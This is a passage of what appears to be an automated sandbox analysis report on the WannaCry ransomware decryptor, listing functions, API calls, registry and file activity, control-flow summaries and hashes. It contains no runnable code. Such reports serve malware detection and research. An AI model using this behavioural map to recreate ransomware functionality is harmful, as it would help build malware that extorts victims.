                                          • Part of subcall function 00405000: #540.MFC42(?,?,?,?,00413893,000000FF), ref: 00405032
                                        • #567.MFC42(00000066,00000000), ref: 004061DF
                                        • #540.MFC42(00000066,00000000), ref: 004061F7
                                        • #540.MFC42(00000066,00000000), ref: 00406209
                                        • #540.MFC42(00000066,00000000), ref: 00406219
                                        • #540.MFC42(00000066,00000000), ref: 00406229
                                        • #860.MFC42(00421798,00000066,00000000), ref: 004062F7
                                        • #860.MFC42(00421798,00421798,00000066,00000000), ref: 00406303
                                        • #860.MFC42(00421798,00421798,00421798,00000066,00000000), ref: 00406313
                                        • #1168.MFC42(00421798,00421798,00421798,00000066,00000000), ref: 00406318
                                        • #1146.MFC42(00000080,0000000E,00000080,00421798,00421798,00421798,00000066,00000000), ref: 00406329
                                        • LoadIconA.USER32(00000000,00000080), ref: 0040632F
                                        • #860.MFC42(00421798), ref: 00406358
                                        Strings
                                        Memory Dump Source
                                        • Source File: 00000022.00000002.1950226366.0000000000401000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00400000, based on PE: true
                                        • Associated: 00000022.00000002.1950187177.0000000000400000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 00000022.00000002.1950283057.0000000000415000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 00000022.00000002.1950334350.000000000041F000.00000008.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 00000022.00000002.1950373676.0000000000421000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 00000022.00000002.1950410859.0000000000423000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                        Joe Sandbox IDA Plugin
                                        • Snapshot File: hcaresult_34_2_400000_@WanaDecryptor@.jbxd
                                        Yara matches
                                        Similarity
                                        • API ID: #540#567$#860Color$Load$Cursor$#1146#1168#324#341#6140#858CallbackDispatcherIconUser
                                        • String ID: 0ZA$0ZA$0ZA$DZA
                                        • API String ID: 3237077636-3729005435
                                        • Opcode ID: 8898f9c07cd83b19e88eb16f26038038037ccb9ffe995bcce6d49ed8a8e75e34
                                        • Instruction ID: 094c42c2691411c2b0867f220185f46eb880b1852b80e7f1edf951ce12ca3c27
                                        • Opcode Fuzzy Hash: 8898f9c07cd83b19e88eb16f26038038037ccb9ffe995bcce6d49ed8a8e75e34
                                        • Instruction Fuzzy Hash: 6261E970544B419ED364EF36C5817DAFBE4BF95304F40891EE1EA82281DFB86149CFAA
                                        Function 00405A60 Relevance: 28.1, APIs: 13, Strings: 3, Instructions: 134COMMON
                                        Download Yara Rule

                                        Control-flow Graph

                                        APIs
                                          • Part of subcall function 0040B620: FindWindowW.USER32(00000000,00000000), ref: 0040B628
                                          • Part of subcall function 0040B620: ShowWindow.USER32(00000000,00000005,00000000,?,00000000), ref: 0040B638
                                          • Part of subcall function 0040B620: SetWindowPos.USER32(00000000,000000FF,00000000,00000000,00000000,00000000,00000043,?,00000000), ref: 0040B651
                                          • Part of subcall function 0040B620: SetWindowPos.USER32(00000000,000000FE,00000000,00000000,00000000,00000000,00000043,?,00000000), ref: 0040B660
                                          • Part of subcall function 0040B620: SetForegroundWindow.USER32(00000000), ref: 0040B663
                                          • Part of subcall function 0040B620: SetFocus.USER32(00000000,?,00000000), ref: 0040B66A
                                          • Part of subcall function 0040B620: SetActiveWindow.USER32(00000000,?,00000000), ref: 0040B671
                                          • Part of subcall function 0040B620: BringWindowToTop.USER32(00000000), ref: 0040B678
                                          • Part of subcall function 0040B620: ExitProcess.KERNEL32 ref: 0040B689
                                        • #1134.MFC42(00000000,Wana Decrypt0r 2.0,00000001), ref: 00405A8C
                                        • #2621.MFC42 ref: 00405A96
                                        • #6438.MFC42 ref: 00405A9B
                                          • Part of subcall function 004060E0: #324.MFC42(00000066,00000000,?,?,?,?,?,00000000,00413E0B,000000FF,00405AAB,00000000), ref: 00406107
                                          • Part of subcall function 004060E0: #567.MFC42(00000066,00000000,?,?,?,?,?,00000000,00413E0B,000000FF,00405AAB,00000000), ref: 00406117
                                          • Part of subcall function 004060E0: #567.MFC42(00000066,00000000), ref: 0040612F
                                          • Part of subcall function 004060E0: #567.MFC42(00000066,00000000), ref: 00406147
                                          • Part of subcall function 004060E0: #567.MFC42(00000066,00000000), ref: 004061DF
                                          • Part of subcall function 004060E0: #540.MFC42(00000066,00000000), ref: 004061F7
                                          • Part of subcall function 004060E0: #540.MFC42(00000066,00000000), ref: 00406209
                                          • Part of subcall function 004060E0: #540.MFC42(00000066,00000000), ref: 00406219
                                          • Part of subcall function 004060E0: #540.MFC42(00000066,00000000), ref: 00406229
                                        • #2514.MFC42 ref: 00405AC1
                                          • Part of subcall function 00403F20: #2414.MFC42(?,?,?,004136B8,000000FF,00403F08), ref: 00403F4B
                                          • Part of subcall function 00403F90: #2414.MFC42(?,?,?,004136D8,000000FF,00403F78), ref: 00403FBB
                                        • #800.MFC42 ref: 00405C33
                                        • #800.MFC42 ref: 00405C47
                                        • #800.MFC42 ref: 00405C5B
                                        • #800.MFC42 ref: 00405C6F
                                        • #781.MFC42 ref: 00405C83
                                          • Part of subcall function 004050A0: #800.MFC42(?,?,?,004138A8,000000FF,00405088), ref: 004050CE
                                          • Part of subcall function 004050A0: #795.MFC42(?,?,?,004138A8,000000FF,00405088), ref: 004050DD
                                          • Part of subcall function 00404170: #2414.MFC42(?,?,?,?,?,?,?,00404158), ref: 004041B2
                                          • Part of subcall function 00404170: #800.MFC42(?,?,?,?,?,?,?,00404158), ref: 004041C5
                                          • Part of subcall function 00404170: #800.MFC42(?,?,?,?,?,?,?,00404158), ref: 004041D2
                                          • Part of subcall function 00404170: #795.MFC42(?,?,?,?,?,?,?,00404158), ref: 004041E1
                                          • Part of subcall function 00405D90: #654.MFC42(00415A44,?,00000000,00413A88,000000FF,00405D14), ref: 00405DBE
                                          • Part of subcall function 00405D90: #765.MFC42(00415A44,?,00000000,00413A88,000000FF,00405D14), ref: 00405DCD
                                        • #609.MFC42 ref: 00405D37
                                        • #609.MFC42 ref: 00405D4B
                                        • #616.MFC42 ref: 00405D5C
                                        • #641.MFC42 ref: 00405D70
                                        Strings
                                        Memory Dump Source
                                        • Source File: 00000022.00000002.1950226366.0000000000401000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00400000, based on PE: true
                                        • Associated: 00000022.00000002.1950187177.0000000000400000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 00000022.00000002.1950283057.0000000000415000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 00000022.00000002.1950334350.000000000041F000.00000008.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 00000022.00000002.1950373676.0000000000421000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 00000022.00000002.1950410859.0000000000423000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                        Joe Sandbox IDA Plugin
                                        • Snapshot File: hcaresult_34_2_400000_@WanaDecryptor@.jbxd
                                        Yara matches
                                        Similarity
                                        • API ID: #800Window$#540#567$#2414$#609#795$#1134#2514#2621#324#616#641#6438#654#765#781ActiveBringExitFindFocusForegroundProcessShow
                                        • String ID: 0ZA$DZA$Wana Decrypt0r 2.0
                                        • API String ID: 3942368781-2594244635
                                        • Opcode ID: e0fcef159a601972dbb815ea7c34e59d1ddbf6f278b0c37dd8899ed76481b774
                                        • Instruction ID: 9717df00861f10ea142a6202e5f0f29f583150bd1f0a7909c2c79a4805d5fd97
                                        • Opcode Fuzzy Hash: e0fcef159a601972dbb815ea7c34e59d1ddbf6f278b0c37dd8899ed76481b774
                                        • Instruction Fuzzy Hash: 3871B7345097C18EE735EB25C2557DFBBE4BFA6308F48981E94C916682DFB81108CBA7
                                        Function 00407A90 Relevance: 28.1, APIs: 13, Strings: 3, Instructions: 90COMMON
                                        Download Yara Rule

                                        Control-flow Graph

                                        • Executed
                                        • Not Executed
                                        control_flow_graph 129 407a90-407ab7 130 407bf4-407c28 #2385 129->130 131 407abd-407ac5 129->131 132 407ac7 131->132 133 407aca-407ad1 131->133 132->133 133->130 134 407ad7-407af9 call 404c40 #2514 133->134 137 407b72-407bef #2414 * 2 #800 #641 134->137 138 407afb-407b6d #537 #941 #939 #6876 * 2 #535 call 4082c0 #800 134->138 137->130 138->137
                                        APIs
                                        • #2514.MFC42 ref: 00407AF1
                                        • #537.MFC42(***), ref: 00407B04
                                        • #941.MFC42(00421234,***), ref: 00407B1A
                                        • #939.MFC42(?,00421234,***), ref: 00407B28
                                        • #6876.MFC42(0000000A,0000003B,?,00421234,***), ref: 00407B35
                                        • #6876.MFC42(0000000D,0000003B,0000000A,0000003B,?,00421234,***), ref: 00407B42
                                        • #535.MFC42(?,?,00000001,0000000D,0000003B,0000000A,0000003B,?,00421234,***), ref: 00407B55
                                        • #800.MFC42(?,?,00000001,0000000D,0000003B,0000000A,0000003B,?,00421234,***), ref: 00407B6D
                                        • #2414.MFC42(?,?,00000001,0000000D,0000003B,0000000A,0000003B,?,00421234,***), ref: 00407B99
                                        • #2414.MFC42(?,?,00000001,0000000D,0000003B,0000000A,0000003B,?,00421234,***), ref: 00407BC2
                                        • #800.MFC42(?,?,00000001,0000000D,0000003B,0000000A,0000003B,?,00421234,***), ref: 00407BDB
                                        • #641.MFC42(?,?,00000001,0000000D,0000003B,0000000A,0000003B,?,00421234,***), ref: 00407BEF
                                        • #2385.MFC42(?,?,?), ref: 00407C0E
                                        Strings
                                        Memory Dump Source
                                        • Source File: 00000022.00000002.1950226366.0000000000401000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00400000, based on PE: true
                                        • Associated: 00000022.00000002.1950187177.0000000000400000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 00000022.00000002.1950283057.0000000000415000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 00000022.00000002.1950334350.000000000041F000.00000008.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 00000022.00000002.1950373676.0000000000421000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 00000022.00000002.1950410859.0000000000423000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                        Joe Sandbox IDA Plugin
                                        • Snapshot File: hcaresult_34_2_400000_@WanaDecryptor@.jbxd
                                        Yara matches
                                        Similarity
                                        • API ID: #2414#6876#800$#2385#2514#535#537#641#939#941
                                        • String ID: ***$[A$[A
                                        • API String ID: 3659526348-3419262722
                                        • Opcode ID: aba664889de062b5968d276a4ab1c1a83eae795fd60498f81a51ba759143eada
                                        • Instruction ID: 6b54b999ec918a2e7db5809f8de8f0b59fd624410e6f3b71b4409e3b9ece79cc
                                        • Opcode Fuzzy Hash: aba664889de062b5968d276a4ab1c1a83eae795fd60498f81a51ba759143eada
                                        • Instruction Fuzzy Hash: D5416A3410C781DAD324DB21C541BEFB7E4BB94704F408A1EB5A9832D1DBB89549CF67
                                        Function 004063A0 Relevance: 22.6, APIs: 15, Instructions: 82COMMON
                                        Download Yara Rule

                                        Control-flow Graph

                                        • Executed
                                        • Not Executed
                                        control_flow_graph 141 4063a0-4064b5 #2302 * 12 #2370 * 3
                                        APIs
                                        • #2302.MFC42(?,0000040F,?), ref: 004063B2
                                        • #2302.MFC42(?,000003EC,?,?,0000040F,?), ref: 004063C4
                                        • #2302.MFC42(?,000003EB,?,?,000003EC,?,?,0000040F,?), ref: 004063D6
                                        • #2302.MFC42(?,000003F3,?,?,000003EB,?,?,000003EC,?,?,0000040F,?), ref: 004063E8
                                        • #2302.MFC42(?,000003F4,?,?,000003F3,?,?,000003EB,?,?,000003EC,?,?,0000040F,?), ref: 004063FA
                                        • #2302.MFC42(?,000003F5,?,?,000003F4,?,?,000003F3,?,?,000003EB,?,?,000003EC,?,?), ref: 0040640C
                                        • #2302.MFC42(?,000003F2,?,?,000003F5,?,?,000003F4,?,?,000003F3,?,?,000003EB,?,?), ref: 0040641E
                                        • #2302.MFC42(?,000003EE,?,?,000003F2,?,?,000003F5,?,?,000003F4,?,?,000003F3,?,?), ref: 00406430
                                        • #2302.MFC42(?,000003F9,?,?,000003EE,?,?,000003F2,?,?,000003F5,?,?,000003F4,?,?), ref: 00406442
                                        • #2302.MFC42(?,00000401,?,?,000003F9,?,?,000003EE,?,?,000003F2,?,?,000003F5,?,?), ref: 00406454
                                        • #2302.MFC42(?,000003FD,?,?,00000401,?,?,000003F9,?,?,000003EE,?,?,000003F2,?,?), ref: 00406466
                                        • #2302.MFC42(?,000003E8,?,?,000003FD,?,?,00000401,?,?,000003F9,?,?,000003EE,?,?), ref: 00406478
                                        • #2370.MFC42(?,000003FF,?,?,000003E8,?,?,000003FD,?,?,00000401,?,?,000003F9,?,?), ref: 0040648A
                                        • #2370.MFC42(?,000003FC,?,?,000003FF,?,?,000003E8,?,?,000003FD,?,?,00000401,?,?), ref: 0040649C
                                        • #2370.MFC42(?,000003EF,?,?,000003FC,?,?,000003FF,?,?,000003E8,?,?,000003FD,?,?), ref: 004064AE
                                        Memory Dump Source
                                        • Source File: 00000022.00000002.1950226366.0000000000401000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00400000, based on PE: true
                                        • Associated: 00000022.00000002.1950187177.0000000000400000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 00000022.00000002.1950283057.0000000000415000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 00000022.00000002.1950334350.000000000041F000.00000008.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 00000022.00000002.1950373676.0000000000421000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 00000022.00000002.1950410859.0000000000423000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                        Joe Sandbox IDA Plugin
                                        • Snapshot File: hcaresult_34_2_400000_@WanaDecryptor@.jbxd
                                        Yara matches
                                        Similarity
                                        • API ID: #2302$#2370
                                        • String ID:
                                        • API String ID: 1711274145-0
                                        • Opcode ID: f4b882eb859de0a193a05a3978ec51d1331cae20c00cf70a3d190a6334ff0923
                                        • Instruction ID: 0d28d22553b71fc94a0ee6c66579bb390b9294cd647fac9b7e1ecc0347327b15
                                        • Opcode Fuzzy Hash: f4b882eb859de0a193a05a3978ec51d1331cae20c00cf70a3d190a6334ff0923
                                        • Instruction Fuzzy Hash: 32218E711806017FE22AE365CD82FFFA26CEF85B04F00452EB369951C1BBE8365B5665
                                        Function 00401C70 Relevance: 15.9, APIs: 7, Strings: 2, Instructions: 114registryCOMMON
                                        Download Yara Rule

                                        Control-flow Graph

                                        • Executed
                                        • Not Executed
                                        control_flow_graph 142 401c70-401cd8 wcscat 143 401cdc-401cde 142->143 144 401ce0-401cef 143->144 145 401cf1-401cfb 143->145 146 401d00-401d0c RegCreateKeyW 144->146 145->146 147 401d12-401d1b 146->147 148 401dad-401db5 146->148 149 401d62-401d8e RegQueryValueExA 147->149 150 401d1d-401d60 GetCurrentDirectoryA RegSetValueExA 147->150 148->143 151 401dbb-401dc7 148->151 152 401d9e-401dab RegCloseKey 149->152 153 401d90-401d98 SetCurrentDirectoryA 149->153 150->152 152->148 154 401dc8-401dd7 152->154 153->152
                                        APIs
                                        • wcscat.MSVCRT ref: 00401CC1
                                        • RegCreateKeyW.ADVAPI32(80000001,?,?), ref: 00401D00
                                        • GetCurrentDirectoryA.KERNEL32(00000207,?), ref: 00401D2A
                                        • RegSetValueExA.ADVAPI32(?,0041FDC4,00000000,00000001,?), ref: 00401D53
                                        • RegQueryValueExA.KERNELBASE ref: 00401D81
                                        • SetCurrentDirectoryA.KERNEL32(?), ref: 00401D98
                                        • RegCloseKey.KERNELBASE(00000000), ref: 00401DA3
                                        Strings
                                        Memory Dump Source
                                        • Source File: 00000022.00000002.1950226366.0000000000401000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00400000, based on PE: true
                                        • Associated: 00000022.00000002.1950187177.0000000000400000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 00000022.00000002.1950283057.0000000000415000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 00000022.00000002.1950334350.000000000041F000.00000008.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 00000022.00000002.1950373676.0000000000421000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 00000022.00000002.1950410859.0000000000423000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                        Joe Sandbox IDA Plugin
                                        • Snapshot File: hcaresult_34_2_400000_@WanaDecryptor@.jbxd
                                        Yara matches
                                        Similarity
                                        • API ID: CurrentDirectoryValue$CloseCreateQuerywcscat
                                        • String ID: Software\$WanaCrypt0r
                                        • API String ID: 3883271862-1723423467
                                        • Opcode ID: 105d7a24118395946ed673951bb32e2166cb0bb2b49e0db688a6da733a97e5a2
                                        • Instruction ID: c02b3dbe7123360802e3a7ceba079e11f57c538643229ddb10ed726050e42e59
                                        • Opcode Fuzzy Hash: 105d7a24118395946ed673951bb32e2166cb0bb2b49e0db688a6da733a97e5a2
                                        • Instruction Fuzzy Hash: 5F31C271208341ABD320CF54DC44BEBB7A8FFC4750F404D2EF996A7290D7B4A90987A6
                                        Function 004085C0 Relevance: 13.6, APIs: 9, Instructions: 75COMMON
                                        Download Yara Rule

                                        Control-flow Graph

                                        • Executed
                                        • Not Executed
                                        control_flow_graph 155 4085c0-408652 #567 #341 GetSysColor * 4 KiUserCallbackDispatcher 156 408660-4086a6 #6140 155->156 157 408654-408658 155->157 157->156 158 40865a-40865e GetSysColor 157->158 158->156
                                        APIs
                                        • #567.MFC42(00000000,?,?,?,000000FF,00405AAB,00000000), ref: 004085E2
                                        • #341.MFC42(00000000,?,?,?,000000FF,00405AAB,00000000), ref: 004085F6
                                        • GetSysColor.USER32 ref: 0040861D
                                        • GetSysColor.USER32(00000009), ref: 00408624
                                        • GetSysColor.USER32(00000012), ref: 0040862B
                                        • GetSysColor.USER32(00000002), ref: 00408632
                                        • KiUserCallbackDispatcher.NTDLL(00001008,00000000,00000000,00000000), ref: 0040864A
                                        • GetSysColor.USER32(0000001B), ref: 0040865C
                                        • #6140.MFC42(00000002,000000FF), ref: 00408667
                                        Memory Dump Source
                                        • Source File: 00000022.00000002.1950226366.0000000000401000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00400000, based on PE: true
                                        • Associated: 00000022.00000002.1950187177.0000000000400000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 00000022.00000002.1950283057.0000000000415000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 00000022.00000002.1950334350.000000000041F000.00000008.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 00000022.00000002.1950373676.0000000000421000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 00000022.00000002.1950410859.0000000000423000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                        Joe Sandbox IDA Plugin
                                        • Snapshot File: hcaresult_34_2_400000_@WanaDecryptor@.jbxd
                                        Yara matches
                                        Similarity
                                        • API ID: Color$#341#567#6140CallbackDispatcherUser
                                        • String ID:
                                        • API String ID: 2603677082-0
                                        • Opcode ID: 51668d6117463ada0c326ac575935f99ab198cb4b06a73068adc63a74b909c1d
                                        • Instruction ID: 8505b43e8b24dba0e9a20122b4cf5018a120a2575fdff98832e5101b57525ea5
                                        • Opcode Fuzzy Hash: 51668d6117463ada0c326ac575935f99ab198cb4b06a73068adc63a74b909c1d
                                        • Instruction Fuzzy Hash: 7D2159B0900B449FD320DF2AC985B96FBE4FF84B14F504A2FE19687791D7B9A844CB85
                                        Function 0040B620 Relevance: 13.5, APIs: 9, Instructions: 45windowCOMMON
                                        Download Yara Rule

                                        Control-flow Graph

                                        APIs
                                        • FindWindowW.USER32(00000000,00000000), ref: 0040B628
                                        • ShowWindow.USER32(00000000,00000005,00000000,?,00000000), ref: 0040B638
                                        • SetWindowPos.USER32(00000000,000000FF,00000000,00000000,00000000,00000000,00000043,?,00000000), ref: 0040B651
                                        • SetWindowPos.USER32(00000000,000000FE,00000000,00000000,00000000,00000000,00000043,?,00000000), ref: 0040B660
                                        • SetForegroundWindow.USER32(00000000), ref: 0040B663
                                        • SetFocus.USER32(00000000,?,00000000), ref: 0040B66A
                                        • SetActiveWindow.USER32(00000000,?,00000000), ref: 0040B671
                                        • BringWindowToTop.USER32(00000000), ref: 0040B678
                                        • ExitProcess.KERNEL32 ref: 0040B689
                                        Memory Dump Source
                                        • Source File: 00000022.00000002.1950226366.0000000000401000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00400000, based on PE: true
                                        • Associated: 00000022.00000002.1950187177.0000000000400000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 00000022.00000002.1950283057.0000000000415000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 00000022.00000002.1950334350.000000000041F000.00000008.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 00000022.00000002.1950373676.0000000000421000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 00000022.00000002.1950410859.0000000000423000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                        Joe Sandbox IDA Plugin
                                        • Snapshot File: hcaresult_34_2_400000_@WanaDecryptor@.jbxd
                                        Yara matches
                                        Similarity
                                        • API ID: Window$ActiveBringExitFindFocusForegroundProcessShow
                                        • String ID:
                                        • API String ID: 962039509-0
                                        • Opcode ID: ec9fc34e90d3c79d5292e19d7f02050e94f93b43ef6df305d89d1d3c5b01f4c1
                                        • Instruction ID: 32f88169c1f0d7c0e12a36757c7a64a26434f73f58f3758d5628eaed19e7f987
                                        • Opcode Fuzzy Hash: ec9fc34e90d3c79d5292e19d7f02050e94f93b43ef6df305d89d1d3c5b01f4c1
                                        • Instruction Fuzzy Hash: 66F0F431245A21F7E2315B54AC0DFDF3655DFC5B21F214610F715791D4CB6455018AAD
                                        Function 00401A90 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 68processsynchronizationCOMMON
                                        Download Yara Rule

                                        Control-flow Graph

                                        • Executed
                                        • Not Executed
                                        control_flow_graph 163 401a90-401aeb CreateProcessA 164 401b45-401b4c 163->164 165 401aed-401af3 163->165 166 401af5-401b03 WaitForSingleObject 165->166 167 401b26-401b44 CloseHandle * 2 165->167 168 401b12-401b18 166->168 169 401b05-401b0c TerminateProcess 166->169 168->167 170 401b1a-401b20 GetExitCodeProcess 168->170 169->168 170->167
                                        APIs
                                        • CreateProcessA.KERNELBASE(?,?,?,?,?,?,?,?,?,?,?,00000000,?,00000000,00000000,00000000), ref: 00401AE3
                                        • WaitForSingleObject.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,?,00000000), ref: 00401AFB
                                        • TerminateProcess.KERNEL32(?,000000FF,?,?,?,?,?,?,?,?,?,?,?,00000000,?,00000000), ref: 00401B0C
                                        • GetExitCodeProcess.KERNEL32(?,?), ref: 00401B20
                                        • CloseHandle.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,00000000,?,00000000,00000000), ref: 00401B31
                                        • CloseHandle.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,00000000,?,00000000,00000000), ref: 00401B38
                                        Strings
                                        Memory Dump Source
                                        • Source File: 00000022.00000002.1950226366.0000000000401000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00400000, based on PE: true
                                        • Associated: 00000022.00000002.1950187177.0000000000400000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 00000022.00000002.1950283057.0000000000415000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 00000022.00000002.1950334350.000000000041F000.00000008.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 00000022.00000002.1950373676.0000000000421000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 00000022.00000002.1950410859.0000000000423000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                        Joe Sandbox IDA Plugin
                                        • Snapshot File: hcaresult_34_2_400000_@WanaDecryptor@.jbxd
                                        Yara matches
                                        Similarity
                                        • API ID: Process$CloseHandle$CodeCreateExitObjectSingleTerminateWait
                                        • String ID: D
                                        • API String ID: 786732093-2746444292
                                        • Opcode ID: 8373994cf4ca8ab825e0652bf8987f65ecb589941da35eb0d7e9f8387e0e63d6
                                        • Instruction ID: a0d0216a4cd299e90b964b762458f17e6b97ac91bf96c8f45188d14ebb685e04
                                        • Opcode Fuzzy Hash: 8373994cf4ca8ab825e0652bf8987f65ecb589941da35eb0d7e9f8387e0e63d6
                                        • Instruction Fuzzy Hash: 4611F7B1618311AFD310CF69C884A9BBBE9EFC8750F50892EF598D2260D774D844CBA6
                                        Function 00401A10 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 42fileCOMMON
                                        Download Yara Rule

                                        Control-flow Graph

                                        • Executed
                                        • Not Executed
                                        control_flow_graph 171 401a10-401a18 172 401a21 171->172 173 401a1a-401a1f 171->173 174 401a26-401a38 fopen 172->174 173->174 175 401a3a-401a44 174->175 176 401a6f-401a73 174->176 177 401a53-401a58 fwrite 175->177 178 401a46-401a51 fread 175->178 179 401a5e-401a64 177->179 178->179 180 401a74-401a84 fclose 179->180 181 401a66-401a6c fclose 179->181 181->176
                                        APIs
                                        Strings
                                        Memory Dump Source
                                        • Source File: 00000022.00000002.1950226366.0000000000401000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00400000, based on PE: true
                                        • Associated: 00000022.00000002.1950187177.0000000000400000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 00000022.00000002.1950283057.0000000000415000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 00000022.00000002.1950334350.000000000041F000.00000008.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 00000022.00000002.1950373676.0000000000421000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 00000022.00000002.1950410859.0000000000423000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                        Joe Sandbox IDA Plugin
                                        • Snapshot File: hcaresult_34_2_400000_@WanaDecryptor@.jbxd
                                        Yara matches
                                        Similarity
                                        • API ID: fclose$fopenfreadfwrite
                                        • String ID: c.wnry
                                        • API String ID: 2140422903-3240288721
                                        • Opcode ID: 6e9b76c3277035fe504f344658f288149f4646c70a2b683330cc54d29e3cf444
                                        • Instruction ID: f5186b7865cb40674a519f70d39de74d6a09c830656aa5640d665e45194f203f
                                        • Opcode Fuzzy Hash: 6e9b76c3277035fe504f344658f288149f4646c70a2b683330cc54d29e3cf444
                                        • Instruction Fuzzy Hash: 0DF0FC31746310EBD3209B19BD09BD77A56DFC0721F450436FC0ED63A4E2799946899E
                                        Function 004043E0 Relevance: 4.5, APIs: 3, Instructions: 15COMMON
                                        Download Yara Rule

                                        Control-flow Graph

                                        • Executed
                                        • Not Executed
                                        control_flow_graph 182 4043e0-404408 #4284 #3874 #5277
                                        APIs
                                        • #4284.MFC42(00000000,00000100,00000001), ref: 004043EC
                                        • #3874.MFC42(?,00000000,00000100,00000001), ref: 004043F7
                                        • #5277.MFC42 ref: 00404402
                                        Memory Dump Source
                                        • Source File: 00000022.00000002.1950226366.0000000000401000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00400000, based on PE: true
                                        • Associated: 00000022.00000002.1950187177.0000000000400000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 00000022.00000002.1950283057.0000000000415000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 00000022.00000002.1950334350.000000000041F000.00000008.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 00000022.00000002.1950373676.0000000000421000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 00000022.00000002.1950410859.0000000000423000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                        Joe Sandbox IDA Plugin
                                        • Snapshot File: hcaresult_34_2_400000_@WanaDecryptor@.jbxd
                                        Yara matches
                                        Similarity
                                        • API ID: #3874#4284#5277
                                        • String ID:
                                        • API String ID: 1717392697-0
                                        • Opcode ID: 4114d52f3e371674d2295fde4232c802f8929f5cfba066acaa82d75807d1c039
                                        • Instruction ID: 168dd717f23fd29799672b21daad70d98dc1c3a6295a550393a3fd33bd33aa1c
                                        • Opcode Fuzzy Hash: 4114d52f3e371674d2295fde4232c802f8929f5cfba066acaa82d75807d1c039
                                        • Instruction Fuzzy Hash: B1D012303487645AE974B266BA0BBDB5A999B45B18F04044FF2459F2C1D9D858D083E5
                                        Function 004133E6 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 6COMMON
                                        Download Yara Rule

                                        Control-flow Graph

                                        • Executed
                                        • Not Executed
                                        control_flow_graph 183 4133e6-4133fb #1576
                                        APIs
                                        • #1576.MFC42(?,?,?,62A,00413236,00000000,?,0000000A), ref: 004133F6
                                        Strings
                                        Memory Dump Source
                                        • Source File: 00000022.00000002.1950226366.0000000000401000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00400000, based on PE: true
                                        • Associated: 00000022.00000002.1950187177.0000000000400000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 00000022.00000002.1950283057.0000000000415000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 00000022.00000002.1950334350.000000000041F000.00000008.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 00000022.00000002.1950373676.0000000000421000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 00000022.00000002.1950410859.0000000000423000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                        Joe Sandbox IDA Plugin
                                        • Snapshot File: hcaresult_34_2_400000_@WanaDecryptor@.jbxd
                                        Yara matches
                                        Similarity
                                        • API ID: #1576
                                        • String ID: 62A
                                        • API String ID: 1976119259-856450375
